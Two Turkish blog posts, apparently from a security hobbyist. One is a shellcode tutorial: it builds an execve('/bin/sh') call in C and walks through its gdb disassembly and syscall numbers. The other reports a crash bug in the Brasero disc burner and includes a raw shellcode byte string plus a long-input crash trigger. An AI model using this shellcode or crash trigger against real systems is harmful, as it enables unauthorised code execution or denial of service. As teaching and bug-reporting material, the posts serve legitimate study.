/*Evet en son serinin üstünden çok zaman geçti nasip bu zamanaymış diyerekten yazılarımızı devam ettirebiliriz olağan gelişen ve sürekli olarak gelişmeye devam eden iş tantanasından ötürü bu yazıları seri şekilde yazamıyorum bu yüzden kimsecikler kusura bakmasın diyerekten yazımıza geçelim istiyorum... */

Evet en son shellcode'da Linux System Call numberları işliyorduk hatta birde pause fonksiyonunu işlemişiz ikinci seride biraz daha string ağırlıklı ve system call function kullanarak hareket etmeyi göreceğiz ama öncelikle kaldığımız yerden devam edelim kafa karışıklıklarına meydan vermeyelim.

Evet biraz string yazdıralım cümleleyelim felan salıverelim isterseniz, evet yeniden terminalimiz açıp gerekli kodları yazdıralım zaten bu asm editor hakkında da bilgi vermiştim isteyen nasm isteyen gasm vs. gibi editörler kullanabilir. Basic olarak .asm öğrendiğinizde bir nevi shellcode ilerletmiş oluyorsunuz ama tam manasıyla ben asm. hakim olmak istiyorum diyorsanız opcode ve sistemin işleyişi hakkında tam manasıyla çözümleme yapmanız gerekmektedir. Peki bunlar nelerdir diye soracak olursanız her yazımda belirttiğim gibi "EZBER YAPMAYIN" sözüyle bir örnekle açıklamak istiyorum; CMP fonksiyonun açılımı "compare" yani karşılaştırma fonksiyonudur. Şöyle ki,

mov ebx, 0x1
xor eax, eax
inc eax
cmp eax, ebx
:?

Peki ne yaptık burada ? Açıklayalım, asm mantığı tamamen ilkokulda düşman olduğumuz matematik ile bağdaşır ve bu şekilde çalışır; "Ya bilgisayar 0 ve 1 ile çalışıyor yaa" diye söylediğimizde nasıl yaa ? Diye sorduklarında şu yukarıda ki çıktı ve binary aklınıza gelirse eğer tam manasıyla anlamış olursunuz. Yukarıda ebx 1 atadık, sonrasında eax register xor operatoru ile "0" sayısına çevirdik ve inc operatoruyle 1 sayı öne attırdık daha sonrasında cmp fonksiyonu ilede karşılaştırdık karşılaştırmadan sonrada yapılacak şeyler size kalıyor artık "je" mi dersiniz "jne" mi dersiniz orası size kalmış bir mevzu kısa bir açıklamadan sonra mevzumuza dönelim.

Shellcode mantığında yazdığımız kodlar, belirli bir şekilde kodlanarak istismar edilecek sistemlere enjekte edilmektedir. İsterseniz "kem küm" etmeden direkt mevzuya geçelim;

Aşağıda gördüğünüz kod silsilesiyle /bin/bash çağırarak konsolda istediğimiz gibi komutlama işlemini yapabiliriz öncelikle bu kodu bir inceleyelim ve olup biteni anlayalım.


#include <stdio.h>
int main() {
         char *name[2];
          name[0] = "/bin/sh";
           name[1] = NULL;
            execve(name[0], name, NULL);
}  
/* gcc shell2.c -o shell2 -static */

hafif bir C bilgisiyle yukarı da "/bin/sh" çağırdığımızı görebilirsiniz bunun içinde execve fonksiyonu kullanılmaktadır birde gdb ile inceleyelim;


(gdb) set disassembly-flavor intel 

(gdb) disas main

Dump of assembler code for function main:

   0x08048254 <+0>: push   ebp

   0x08048255 <+1>: mov    ebp,esp

   0x08048257 <+3>: and    esp,0xfffffff0

   0x0804825a <+6>: sub    esp,0x20

   0x0804825d <+9>: mov    DWORD PTR [esp+0x18],0x80aad68

   0x08048265 <+17>: mov    DWORD PTR [esp+0x1c],0x0

   0x0804826d <+25>: mov    eax,DWORD PTR [esp+0x18]

   0x08048271 <+29>: mov    DWORD PTR [esp+0x8],0x0

   0x08048279 <+37>: lea    edx,[esp+0x18]

   0x0804827d <+41>: mov    DWORD PTR [esp+0x4],edx

   0x08048281 <+45>: mov    DWORD PTR [esp],eax

   0x08048284 <+48>: call   0x804f770 <execve>

   0x08048289 <+53>: leave  

   0x0804828a <+54>: ret    

End of assembler dump.


Evet ilk satırlarda da göreceğimiz üzere klasik bir işlem yapılmaktadır;

   0x08048254 <+0>: push   ebp

   0x08048255 <+1>: mov    ebp,esp

   0x08048257 <+3>: and    esp,0xfffffff0

   0x0804825a <+6>: sub    esp,0x20
push operatoruyle stack yazılan bilgilerden sonra, stack ve base pointer aynı değerler üstünden bilgiler çekiliyor(LIFO), and operatörüyle yapılan  mantıksal karşılaştırma ve sonrasında sub fonksiyonuyla bir stack segmentinden 0x20(32) bir değer çıkartılıyor ve değer ilk parametreye aktarıldı. Unutmadan cmp operatörü işlemlerinde subtract yani çıkarma işlemi kullanır.


 (gdb) p/d 0xfffffff0

$7 = 4294967280
Değeri incelediğimiz karşımıza şu şekilde bir değer çıkıyor bu değerin sonrasında tabi ki çıkarma işlemi ile işlemimiz devam ediyor. Burada "sys call number" dikkat çekmek istediğim bir konu var son satırda da görüldüğü üzere bir fonksyion call ediliyor bunun biraz daha derinine inmek gerekirse;


(gdb) disas execve

Dump of assembler code for function execve:

   0x0804f770 <+0>: push   ebp

   0x0804f771 <+1>: mov    ebp,esp

   0x0804f773 <+3>: mov    edx,DWORD PTR [ebp+0x10]

   0x0804f776 <+6>: push   ebx

   0x0804f777 <+7>: mov    ecx,DWORD PTR [ebp+0xc]

   0x0804f77a <+10>: mov    ebx,DWORD PTR [ebp+0x8]

   0x0804f77d <+13>: mov    eax,0xb <======

   0x0804f782 <+18>: int    0x80

   0x0804f784 <+20>: cmp    eax,0xfffff000

   0x0804f789 <+25>: ja     0x804f78e <execve+30>

   0x0804f78b <+27>: pop    ebx

   0x0804f78c <+28>: pop    ebp

   0x0804f78d <+29>: ret    

   0x0804f78e <+30>: mov    edx,0xffffffe8

   0x0804f794 <+36>: neg    eax

   0x0804f796 <+38>: mov    DWORD PTR gs:[edx],eax

   0x0804f799 <+41>: or     eax,0xffffffff

   0x0804f79c <+44>: jmp    0x804f78b <execve+27>

End of assembler dump.

"0x0804f77d" hex adresine baktığımızda "eax" register bir adres taşıması(0xb) gerçekleşiyor;


~ :/c# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep 11

#define __NR_execve 11

Yukarıda "sys call" dosyasını geçen yazıda belirtmiştim çıkan sonuçta tam olarak "eax" registerıyla çağırılan fonksiyonla örtüşür durumda tesadüf değil : )

En son tanımladığımız ve asıl amacımızı belirten "bash" mevzusuna geri dönelim;

(gdb) printf  "%s\n", 0x80aad68

/bin/sh

Yukarıda main fonksiyonuna bağlı hex değerini okuduğumuzda bizi tam olarak amacımıza götürüyor üzerine sayfalarca shellcode yazılmış ve halen daha yazılmakta olan "/bin/sh" modülü.

Tam olarak bu offsete yapılan çağrılarda yahut bu hex tanımlanmış olan bu bu fonksiyonu istediğiniz gibi başka hex değerler üstünde kullanabilirsiniz yukarıda print edilen hex değerinin açılını "/bin/sh" demektir ve bu hex değeri okutularak /bin/sh çağırılabilir vs.

Mevzumuz bitmiş değil şimdi bir açılımla elde ettiğimiz değerler üstünden yürüyerek neler yaptığımızı görelim isterseniz(1. yazı seriye dahil);

1. Sistem call number ile fonksiyon numaraları,
2. C kod ile sistem çağrıları,
3. Sağlıklı ve terminate olmayacak şekilde shellcode yazılması(Null Byte),
4. C kod ile /bin/sh çağrısı ve çalışma mantığı,

5. Sys Call fonksiyonlarından birinin Debug edilmesi.


//3. Seride görüşmek dileğiyle





Salı, Ekim 27

Project 1 - Brasero Disc Burner Crash

Merhabalar, "Brasero Disc Burner" System Crash Bug's;
Gnome araçlarından brasero disc burner üstünde meydana gelen crash zaafiyeti hakkında kısa bir yazı dizisi yazmak istedim, uzun zamandır yarım bıraktığım yazıyı tamamlama vaktinin geldiğini düşünüyorum "0".

klasik karakterlerle test"\x41", "\x42" bla bla.
(http://www.rapidtables.com/code/text/ascii-table.htm)














Shellcode Test blablabla.
"\x68\x69\x6e\x67\x0a\x68\x74\x61\x72\x74\x68\x73\x68\x20\x53\x68\x20\x43\x72\x61\x68\x57\x6f\x77\x21\x31\xc9\xb1\x14\x51\xb8\x11\x11\x51\x08\x50\x31\xc0\x50\x54\x51\x89\xe6\x83\xc6\x14\x03\x74\x24\x10\x2b\x34\x24\x56\x89\xf1\xeb\x1c\xeb\x0c\x59\x59\xe2\xe8\x31\xdb\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\xa2\x8d\x5c\x24\x0c\x31\xc9\xcd\x80\xeb\xe6\x31\xd2\xb2\x01\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\xeb\xd4"
















Detaylı olarak aşağıda açıklanacak olan bu zaafiyetin diğer bir yönüde debugger üstünden verilen ascii karakterini çevirerek kendi içinde dönüştürmesidir, belirli bir karakter dizesinden sonra GTK message frame crash zaafiyeti gösterecektir ek olarak GTK item list'de aynı şekilde hareket ettirilerek crash zaafiyetinin tetiklenmesini sağlayacaktır. Aşağıda ki örnekte de göreceğiniz üzere verilen ascii karakterler başarılı bir şekilde dönüştürülmüş görünüyor. Peki normal olarak terminal üstünden argüman eklerken "\x41" şeklinde görünen karakterler niçin debugger üstünden gönderildiğinde derlenmiş bir şekilde gözüküyor ?













Argument input: /src/main.c

main (int argc, char **argv)
{
        GApplication *gapp = NULL;
        GOptionContext *context;

#ifdef ENABLE_NLS
        bindtextdomain (GETTEXT_PACKAGE, PACKAGE_LOCALE_DIR);
        bind_textdomain_codeset (GETTEXT_PACKAGE, "UTF-8");
        textdomain (GETTEXT_PACKAGE);
#endif

        g_thread_init (NULL);
        g_type_init ();

        /* Though we use gtk_get_option_group we nevertheless want gtk+ to be
         * in a usable state to display our error messages while brasero
* specific options are parsed. Otherwise on error that crashes. */ 
 // Thats correct with os :( (line up check)

        gtk_init (&argc, &argv);

        memset (&cmd_line_options, 0, sizeof (cmd_line_options));

        context = g_option_context_new (_("[URI] [URI] …"));
        g_option_context_add_main_entries (context,
                                           prog_options,
                                           GETTEXT_PACKAGE);
        g_option_context_set_translation_domain (context, GETTEXT_PACKAGE);

        g_option_context_add_group (context, egg_sm_client_get_option_group ());
        g_option_context_add_group (context, gtk_get_option_group (TRUE));
        g_option_context_add_group (context, brasero_media_get_option_group ());
        g_option_context_add_group (context, brasero_burn_library_get_option_group ());
        g_option_context_add_group (context, gst_init_get_option_group ());
        if (g_option_context_parse (context, &argc, &argv, NULL) == FALSE) {
                g_print (_("Please type \"%s --help\" to see all available options\n"), argv [0]);
                g_option_context_free (context);
                return FALSE;
        }
Main kodlarını incelediğimizde  spesifik ayarlarda crash olabileceği vurgusunda bulunulmuş, normal terminal girişlerinde eklenen argümanlar güvenli bir şekilde karakter olarak algılanırken debug edilmiş source üstünden python ile beraber çağırılan karakterler GTK üstündenden Systeme paralel olarak CRASH zaafiyeti barındırmaktadır.


 Burada gtk_init fonksiyonunun stabil bir şekilde çalışmadığı ve gönderilen değerleri GTK frame üstüne bastığını görüyoruz. Burada ikinci bir zaafiyet olarak GTK Frame'in belirli bir karakter dizesi sonrasında crash olduğunu görmekteyiz, bunu tetikleyen gtk_init fonksiyonu ile birlikte aşağıda göreceğiniz tanımlamadır.


buffer(null) ? Burası tam olarak yazdırılacak dosyaların listesini ifade etmekte bununla birlikte tanımlanan ifadeyle beraber frame crash ettirebilmek iyice kolay hale geliyor bu sayede sistemi rahat bir şekilde crash edebiliriz. Normal olarak bir tek app'nin crash olması gerekirken gnome arayüzlerde bu crash zaafiyeti aynı zamanda sistemde ki gtk frame ile birlikte tetiklendiğinden oturumda çökme zaafiyeti meydana gelmektedir.


Tam manasıyla hala hali hazırda stabil olmadığı konusunda hem fikiriz :)

GTK Message Box:

  static void
brasero_data_disc_unreadable_uri_cb (BraseroTrackDataCfg *vfs,
                                     const GError *error,
                                     const gchar *uri,
                                     BraseroDataDisc *self)
{
        gchar *name;
        gchar *primary;

        name = brasero_utils_get_uri_name (uri);
        primary = g_strdup_printf (_("\"%s\" cannot be added to the selection."), name);
        brasero_app_alert (brasero_app_get_default (),
                           primary,
                           error->message,
                           GTK_MESSAGE_ERROR);
        g_free (primary);
        g_free (name);
}

Peki yaa argüman bölümünden 3000 A's karakteri girersek ortaya çıkacak sonuç nedir? Yukarıda anlattığımız gibi ortaya çıkacak sonuç tam manasıyla app içinde, system içinde tam bir hüsran yani CRASH. Meydana gelecektir burada koyulabilecek bir karakter sınırı(strlen) ya da desteklenen uzantı kontrolü gibi önlemler message box crash ortadan kaldıracaktır.
Name item:

  brasero_utils_get_uri_name (const gchar *uri)
{
        gchar *utf8_name;
        GFile *vfs_uri;
        gchar *name;

        /* g_path_get_basename is not comfortable with uri related
         * to the root directory so check that before */
        vfs_uri = g_file_new_for_uri (uri);
        name = g_file_get_basename (vfs_uri);
        g_object_unref (vfs_uri);

        /* NOTE and reminder names are already unescaped; the following is not
         * needed: unescaped_name = g_uri_unescape_string (name, NULL); */

        /* NOTE: a graft should be added for non utf8 name since we
         * modify them; in fact we use this function only in the next
         * one which creates only grafted nodes. */
        utf8_name = brasero_utils_validate_utf8 (name);
        if (utf8_name) {
                g_free (name);
                return utf8_name;
        }

        return name;
}
PoC: being hope be is being :( ~

thanks even cheers "netRoot" :)
Found Date: 27/04/2014
Blogger tarafından desteklenmektedir.